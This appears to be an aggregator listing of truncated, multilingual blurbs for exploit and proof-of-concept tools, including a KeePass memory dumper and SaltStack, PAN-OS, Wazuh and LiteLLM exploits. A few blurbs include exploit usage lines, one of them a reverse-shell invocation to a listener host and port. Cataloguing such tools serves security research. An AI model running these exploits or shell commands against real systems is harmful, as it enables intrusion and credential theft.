cve-2023-32784

CVE-2023-32784 KeePass 2.X संस्करण 2.54 एक भेद्यता के प्रति संवेदनशील है जिसमें अनलॉक किए गए KeePass डेटाबेस के मेमोरी डंप से मास्टर पासवर्ड पुनर्प्राप्त किया जा सकता है। इसे CVE-2023-32784 निर्दिष्ट किया गया था। यह प्रोग्राम चल रहे KeePass प्रक्रिया के मेमोरी डंप से मास्टर पासवर्ड पुनर्प्राप्त...

BruteForce-to-KeePass

BruteForce-to-KeePass Este script complementa os resultados obtidos através da ferramenta keepass-password-dumper ao explorar a vulnerabilidade CVE-2023-32784 que afeta o KeePass. Descrição Este script solicita ao usuário que insira uma lista de caracteres e um sufixo conhecido. Em seguida, ele...

CYBERDUDEBIVASH-5G-Core-Key-Rotation-Ghost-Admin-Auditor

CYBERDUDEBIVASH Rotação de Chaves do 5G Core & Auditor de Admin Fantasma v1.1 © 2026 CYBERDUDEBIVASH – Todos os Direitos Reservados Autoridade Global em Segurança de Redes Privadas e 5G Zero-Trust Bhubaneswar, Odisha, Índia Ferramenta de nível de produção para detecção e remediação da CVE-2026-06...

CVE-2020-11651

CVE-2020-11651 PoC para CVE-2020-11651 Requer Python3 testado no 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

templates

रिपोर्ट टेम्पलेट्स निर्देशिका संरचना नोट्स: स्क्रिप्ट generate-directories.py GitHub से VRT संरचना के वर्तमान नवीनतम संस्करण को लेती है और किसी भी लापता निर्देशिका को बनाती है। यह VRT से हटाए गए आइटमों के आधार पर निर्देशिकाओं को नहीं हटाती या उनका नाम नहीं बदलती है। स्क्रिप्ट मानक प्रविष्टि नामों...

ASUSTOR ADM 3.1.0.RFQ3 - SQL Injection

ASUSTOR ADM version 3.1.0.RFQ3 is vulnerable to SQL injection via the albumid parameter in the /photo-gallery/api/album/treelists/ endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands on the database, potentially leading to information disclosure or further...

TerraMaster TOS < 4.2.06 - User Enumeration

User Enumeration vulnerability in TerraMaster TOS = 4.2.06 allows remote unauthenticated attackers to identify valid users within the system via the username parameter to wizard/initialise.php. id: CVE-2020-28185 info: name: TerraMaster TOS 4.2.06 - User Enumeration author: pussycat0x severity:...

Apache Spark - Authentication Bypass

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication spark.authenticate via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even...

Quiz and Survey Master <= 8.1.4 - SQL Injection

ExpressTech Quiz And Survey Master versions up to 8.1.4 contains an SQL injection caused by improper neutralization of special elements used in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires user interaction. id: CVE-2023-28787 info: name: Quiz and Survey Master =...

LiteLLM < 1.25.0 - Remote Code Execution

LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/testcustomcode endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s...

CVE-2026-25769

🚨 CVE-2026-25769 - Wazuh 不安全反序列化远程代码执行 关键型 Worker ➜ Master 远程代码执行（Wazuh 集群模式） Wazuh 集群通信中的不安全反序列化允许被攻破的 worker 节点 在 master 节点 上实现 root 权限的远程代码执行 。 📌 概述 CVE ID: CVE-2026-25769 产品: Wazuh 受影响版本: 4.0.0 → 4.14.2 修复版本: 4.14.3 严重性: 严重 CVSS v3.1: 9.1 CWE: CWE-502 — 不可信数据的反序列化 Wazuh 集群模式中的一个严重漏洞允许具有 worke...

PanOsExploitMultitool

PanOsExploitMultitool Exploitation- und Post-Exploitation-Multitool für Palo Alto PAN-OS-Systeme, die von den Schwachstellen CVE-2024-0012 und CVE-2024-9474 betroffen sind Während der frühen Ausnutzung der Remote-Code-Ausführungsschwachstellen CVE-2024-0012 und CVE-2024-9474 habe ich eine Shell...

hdcp-genkey

Exemplo de Geração de Chaves HDCP Este script implementa uma versão simples do algoritmo de geração de chaves HDCP em Python, utilizando a chave mestre HDCP vazada que está localizada em master-key.txt. root@kitploit: Usage: generatekey.py options Options: -h, --help show this help message and ex...

CVE-2026-25589-25588-25243-23631-23479-REDIS

GUIA DE TESTE E CORREÇÃO DE 5 CVEs DO REDIS ATÉ 2026.05.08 Data de publicação: 2026-05-08 Autor: TonyCao [email protected] Fonte: Redis Security Advisory ÍNDICE 1. Visão geral 2. Versões afetadas 3. Detalhes de cada CVE CVE-2026-23479 — Use-after-free no Unblock Client Flow CVE-2026-25243 —...

CVE-2023-20564

CVE-2023-20564 - Prova de Conceito de Acesso à Memória Física do Driver AMD Ryzen Master Visão Geral Este repositório contém uma Prova de Conceito PoC demonstrando a vulnerabilidade CVE-2023-20564 no Driver AMD Ryzen Master. A vulnerabilidade permite que usuários sem privilégios leiam e escrevam...

keepass_dump

Keepass-Dumper Esta é a minha implementação de PoC para CVE-2023-32784 A minha versão é um port em Python do PoC do @vdohney com algumas alterações e funcionalidades adicionais. Alterações Uma mudança foi usar strings conhecidas que podem ser encontradas no arquivo de dump para saltar com mais...

BSOD_bitlocker_recover

BitLocker VMK-Carving-Tool Dieses Python-Skript hilft Ihnen, potenzielle BitLocker Volume Master Keys VMKs aus Speicherauszugsdateien zu extrahieren, wie sie beispielsweise durch einen Blue Screen of Death BSOD erzeugt werden. Es ist ein Kommandozeilenwerkzeug, das bei forensischen Untersuchungen...

swarm

swarm v0.6.0 English | 中文. Swarm é uma ferramenta modular de teste de penetração distribuída de código aberto que utiliza fila de tarefas distribuída para implementar comunicação no sistema mestre-escravo e usa MongoDB para armazenamento de dados. Consiste em uma estrutura distribuída e módulos...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651 के लिए PoC Python3 की आवश्यकता है, 3.8 पर परीक्षित python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... CVE-2020-11651 का शोषण positional arguments: server लक्ष्य...